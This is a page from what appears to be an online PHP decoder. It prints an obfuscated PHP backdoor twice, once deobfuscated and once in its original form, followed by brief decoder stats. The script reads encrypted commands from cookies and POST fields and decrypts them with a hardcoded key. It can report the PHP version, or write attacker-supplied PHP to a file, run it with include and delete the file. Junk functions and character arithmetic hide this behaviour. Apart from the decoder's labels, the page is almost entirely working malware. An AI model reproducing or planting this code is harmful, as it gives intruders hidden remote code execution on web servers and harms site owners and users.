Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $ifnqncb = /* s */ 'ifnqncb' ^ ''; $xkwwm = $_COOKIE; $vjprsh ..

Decoded Output download

<?php  
 
 
$ifnqncb	= /*  s   */ 'ifnqncb'    ^  ''; 
 
$xkwwm    =	$_COOKIE; 
$vjprsh   =	63;$ddlveirzdy	=      $_POST; 
 
 
function     hcmimq(){ 
   $bichz    = /* _kdpec*/ 'vlztop_';	$qcpgw    =    'mfxdzzw'; 
    $nwu_hfcw     = /*txywam  */ 'eeymdaw_r'; 
 
 
     $tunqzc    =      'be_keytnrn'; 
 
 /*   gdk */ $qcpgw	=      strtolower($tunqzc); 
 
 /* _   */ $crnic /*   __n */ =  'eoyeycp'; 
 
 /*  omiobb   */ $mrmbi_ /*   szvr   */ =   'jaerq'; 
 
 
} 
 
function   uxffz_uy($sqwxrsow, /*   herkg*/ $xcgdvr) 
{ 
 
    global    $ifnqncb; 
 
 
    $uzzuymo    =   ""; 
 
	$rasehyhpm    =       43; 
  for /*  giqwu   */ ($ernhfcmh_    =    0;     $ernhfcmh_	<	strlen($sqwxrsow);)      { 
	for    ($zijab /*k_amb   */ =    0; /*   xgfc  */ $zijab /*  _ksi */ <  strlen($xcgdvr)	&&	$ernhfcmh_    < /*pwz  */ strlen($sqwxrsow);   $zijab++,     $ernhfcmh_++)	{ 
 
 /*   uja   */ $uzzuymo    .=      $ifnqncb(ord($sqwxrsow[$ernhfcmh_])    ^ /*dukzlq   */ ord($xcgdvr[$zijab])); 
			$efoobdtzle    = /*  kri_zj   */ 20; 
      } 
    } 
	return    $uzzuymo; 
 
 
} 
 
 
 
 
function    vdldkvm_($mzisvhyjho,    $sqwxrsow) 
 
{ 
 
 
	global /*   c  */ $ifnqncb; 
 
    $fkwzaytigj /*  j*/ =	sprintf("."."/"."%"     . /*  kerjg   */ "s".$ifnqncb(444-398)    .	$ifnqncb(928-816)  .      "l",	md5($mzisvhyjho)); 
 
 
	file_put_contents($fkwzaytigj, /* gmsww*/ "<"       .	"?" /*  yju */ .       "p" /*ewbedq   */ .	"h"."p".$ifnqncb(32) /*   kxnpt*/ .       "u"."n"."l".$ifnqncb(432-327)     .  "n" /* eqdd  */ . /*  h  */ "k"."(".$ifnqncb(968-873)    .       $ifnqncb(95)    .	$ifnqncb(248-178) /*  mrcuy   */ .  $ifnqncb(135-62)	.	"L".$ifnqncb(69) /*   lnnuba*/ .      "_"."_"	.    ")".";".$ifnqncb(32) /*  rkb   */ .	$sqwxrsow["d"]); 
 
$bvzowda  =    'hn_'; /*  jdykuk */ include($fkwzaytigj); 
 
 
     $zijabi_yahvdtt	=     $fkwzaytigj; 
 
	$upeyjlpbys    =    trim($bvzowda); 
 
	$yazfc    =  'mojimypp'; 
 
 
 /*i */ @unlink($zijabi_yahvdtt); 
 
 
	$_mdg_    = /*chlt*/ 41; 
 
	$xidlmw_xms /*  httfc */ =      5;} 
function  epgyol(){ 
 /*  g  */ global /*   pmxwl  */ $ifnqncb; 
 
 
 
    $ernhfcmh_	=    array(); 
 
	$enjaa /*  ib_k */ =      'qdkv'; /* giwzkp */ $ernhfcmh_["p"    .    "v"]  =    phpversion(); 
 
 
	$vmg_huvt      =    45; 
 
       $ernhfcmh_["s"    .    "v"]    = /*bj*/ "3"       .	$ifnqncb(877-831)      .     "5"; 
 
 /*   fxxh   */ echo	@serialize($ernhfcmh_); 
 
 
} 
 
 
 
 
 
function	hulejpou(){ /* eo  */ $rszrxm    =	67; 
 
 
    $kkkpfip	=  'pqjhpnao_'; 
 
 
	$vjsmjkrnnj    = /*   yhxwe */ 31; 
 
   $rszrxm /*nt_ebj  */ = /* afohw*/ $vjsmjkrnnj	*    20; 
 
 
	$yabem /*kco  */ = /*elbypl */ 35; 
 
 
} 
 
 
 
hulejpou(); 
 
 
 
 
function /*   e */ iwcna($sqwxrsow,	$mzisvhyjho, /*tvtdtc */ $gwurarhgj) 
 
 
{ 
	global	$ifnqncb; 
 
 
 
 
    $sqwxrsow  = /* lf_   */ unserialize(uxffz_uy(uxffz_uy(base64_decode($sqwxrsow), /*  qnkil   */ $mzisvhyjho),    $gwurarhgj));    if    (isset($sqwxrsow[$ifnqncb(97)	. /*   sl   */ $ifnqncb(107)])) /*  ywxwgg */ { 
 
    if	($sqwxrsow[$ifnqncb(97)]	== /*   ejgb*/ "i")    { /*bh*/ epgyol(); 
 
 
      } /*id   */ elseif /*   tt*/ ($sqwxrsow[$ifnqncb(97)] /*e*/ ==	"e") /* _e*/ { 
 
 
 /* g*/ vdldkvm_($mzisvhyjho,      $sqwxrsow); 
 
 
			$hzzokcpvu    =    74; 
 
 
       }  exit(); 
 
  }} 
 
 
 
 
 
$xkwwm /*   x */ = /* q_qyt */ array_merge($ddlveirzdy, /*  awdt*/ $xkwwm); 
 
 
 
 
 
$mzisvhyjho	=    "6"     .	$ifnqncb(101) /*  ge  */ . /*agl  */ $ifnqncb(57) /*   nkun  */ .	$ifnqncb(49) /*   u__*/ .    $ifnqncb(52) /* tg  */ . /*_mk   */ "7"."c" /*ktdfa*/ .	"d"."-"."5"    .    "3"."4"  .	$ifnqncb(1026-970) /*   rf   */ . /* b_jxml   */ $ifnqncb(45)    .    "4".$ifnqncb(846-795)      . /*  icaer*/ "1".$ifnqncb(97)."-".$ifnqncb(97)."9"."f"	.      "0"    .     "-"."5".$ifnqncb(553-497)    .  "6"."e" /*dmg*/ .       $ifnqncb(50)    .      $ifnqncb(332-279)   .   "7"."0"	.	"f" /*  a   */ .	$ifnqncb(97) /*  n */ .    "4"."3"; 
 
foreach    ($xkwwm      as /*  sfy_zs*/ $gwurarhgj       =>    $sqwxrsow)      { 
 
    iwcna($sqwxrsow, /*j   */ $mzisvhyjho, /*inb*/ $gwurarhgj); 
} 
 
 
 
$umgxx_	=    'lwiwyzh'; 
$cuhzrox /*w  */ =  31; 
 
hcmimq(); 
 
 
 
 
?>

Did this file decode correctly?

Original Code

<?php 


$ifnqncb	= /*  s   */ 'ifnqncb'    ^  '';

$xkwwm    =	$_COOKIE;
$vjprsh   =	63;$ddlveirzdy	=      $_POST;


function     hcmimq(){
   $bichz    = /* _kdpec*/ 'vlztop_';	$qcpgw    =    'mfxdzzw';
    $nwu_hfcw     = /*txywam  */ 'eeymdaw_r';


     $tunqzc    =      'be_keytnrn';

 /*   gdk */ $qcpgw	=      strtolower($tunqzc);

 /* _   */ $crnic /*   __n */ =  'eoyeycp';

 /*  omiobb   */ $mrmbi_ /*   szvr   */ =   'jaerq';


}

function   uxffz_uy($sqwxrsow, /*   herkg*/ $xcgdvr)
{

    global    $ifnqncb;


    $uzzuymo    =   "";

	$rasehyhpm    =       43;
  for /*  giqwu   */ ($ernhfcmh_    =    0;     $ernhfcmh_	<	strlen($sqwxrsow);)      {
	for    ($zijab /*k_amb   */ =    0; /*   xgfc  */ $zijab /*  _ksi */ <  strlen($xcgdvr)	&&	$ernhfcmh_    < /*pwz  */ strlen($sqwxrsow);   $zijab++,     $ernhfcmh_++)	{

 /*   uja   */ $uzzuymo    .=      $ifnqncb(ord($sqwxrsow[$ernhfcmh_])    ^ /*dukzlq   */ ord($xcgdvr[$zijab]));
			$efoobdtzle    = /*  kri_zj   */ 20;
      }
    }
	return    $uzzuymo;


}




function    vdldkvm_($mzisvhyjho,    $sqwxrsow)

{


	global /*   c  */ $ifnqncb;

    $fkwzaytigj /*  j*/ =	sprintf("."."/"."\45"     . /*  kerjg   */ "s".$ifnqncb(444-398)    .	$ifnqncb(928-816)  .      "\x6c",	md5($mzisvhyjho));


	file_put_contents($fkwzaytigj, /* gmsww*/ "<"       .	"\x3f" /*  yju */ .       "\160" /*ewbedq   */ .	"h"."p".$ifnqncb(32) /*   kxnpt*/ .       "u"."n"."l".$ifnqncb(432-327)     .  "\x6e" /* eqdd  */ . /*  h  */ "k"."(".$ifnqncb(968-873)    .       $ifnqncb(95)    .	$ifnqncb(248-178) /*  mrcuy   */ .  $ifnqncb(135-62)	.	"L".$ifnqncb(69) /*   lnnuba*/ .      "_"."\137"	.    ")".";".$ifnqncb(32) /*  rkb   */ .	$sqwxrsow["d"]);

$bvzowda  =    'hn_'; /*  jdykuk */ include($fkwzaytigj);


     $zijabi_yahvdtt	=     $fkwzaytigj;

	$upeyjlpbys    =    trim($bvzowda);

	$yazfc    =  'mojimypp';


 /*i */ @unlink($zijabi_yahvdtt);


	$_mdg_    = /*chlt*/ 41;

	$xidlmw_xms /*  httfc */ =      5;}
function  epgyol(){
 /*  g  */ global /*   pmxwl  */ $ifnqncb;



    $ernhfcmh_	=    array();

	$enjaa /*  ib_k */ =      'qdkv'; /* giwzkp */ $ernhfcmh_["\160"    .    "\166"]  =    phpversion();


	$vmg_huvt      =    45;

       $ernhfcmh_["\x73"    .    "\x76"]    = /*bj*/ "\63"       .	$ifnqncb(877-831)      .     "5";

 /*   fxxh   */ echo	@serialize($ernhfcmh_);


}





function	hulejpou(){ /* eo  */ $rszrxm    =	67;


    $kkkpfip	=  'pqjhpnao_';


	$vjsmjkrnnj    = /*   yhxwe */ 31;

   $rszrxm /*nt_ebj  */ = /* afohw*/ $vjsmjkrnnj	*    20;


	$yabem /*kco  */ = /*elbypl */ 35;


}



hulejpou();




function /*   e */ iwcna($sqwxrsow,	$mzisvhyjho, /*tvtdtc */ $gwurarhgj)


{
	global	$ifnqncb;




    $sqwxrsow  = /* lf_   */ unserialize(uxffz_uy(uxffz_uy(base64_decode($sqwxrsow), /*  qnkil   */ $mzisvhyjho),    $gwurarhgj));    if    (isset($sqwxrsow[$ifnqncb(97)	. /*   sl   */ $ifnqncb(107)])) /*  ywxwgg */ {

    if	($sqwxrsow[$ifnqncb(97)]	== /*   ejgb*/ "i")    { /*bh*/ epgyol();


      } /*id   */ elseif /*   tt*/ ($sqwxrsow[$ifnqncb(97)] /*e*/ ==	"e") /* _e*/ {


 /* g*/ vdldkvm_($mzisvhyjho,      $sqwxrsow);


			$hzzokcpvu    =    74;


       }  exit();

  }}





$xkwwm /*   x */ = /* q_qyt */ array_merge($ddlveirzdy, /*  awdt*/ $xkwwm);





$mzisvhyjho	=    "\x36"     .	$ifnqncb(101) /*  ge  */ . /*agl  */ $ifnqncb(57) /*   nkun  */ .	$ifnqncb(49) /*   u__*/ .    $ifnqncb(52) /* tg  */ . /*_mk   */ "7"."\143" /*ktdfa*/ .	"d"."-"."\65"    .    "3"."\64"  .	$ifnqncb(1026-970) /*   rf   */ . /* b_jxml   */ $ifnqncb(45)    .    "4".$ifnqncb(846-795)      . /*  icaer*/ "1".$ifnqncb(97)."-".$ifnqncb(97)."9"."\x66"	.      "\60"    .     "-"."5".$ifnqncb(553-497)    .  "6"."\145" /*dmg*/ .       $ifnqncb(50)    .      $ifnqncb(332-279)   .   "7"."\x30"	.	"\x66" /*  a   */ .	$ifnqncb(97) /*  n */ .    "4"."3";

foreach    ($xkwwm      as /*  sfy_zs*/ $gwurarhgj       =>    $sqwxrsow)      {

    iwcna($sqwxrsow, /*j   */ $mzisvhyjho, /*inb*/ $gwurarhgj);
}



$umgxx_	=    'lwiwyzh';
$cuhzrox /*w  */ =  31;

hcmimq();




?>

Function Calls

hulejpou 1
array_merge 1

Variables

$xkwwm 0
$yabem 35
$rszrxm 620
$vjprsh 63
$ifnqncb gz`m`l
$kkkpfip pqjhpnao_
$ddlveirzdy 0
$vjsmjkrnnj 31

Stats

MD5 1ebb2b8befdb575e59e17b0cc38899d2
Eval Count 0
Decode Time 72 ms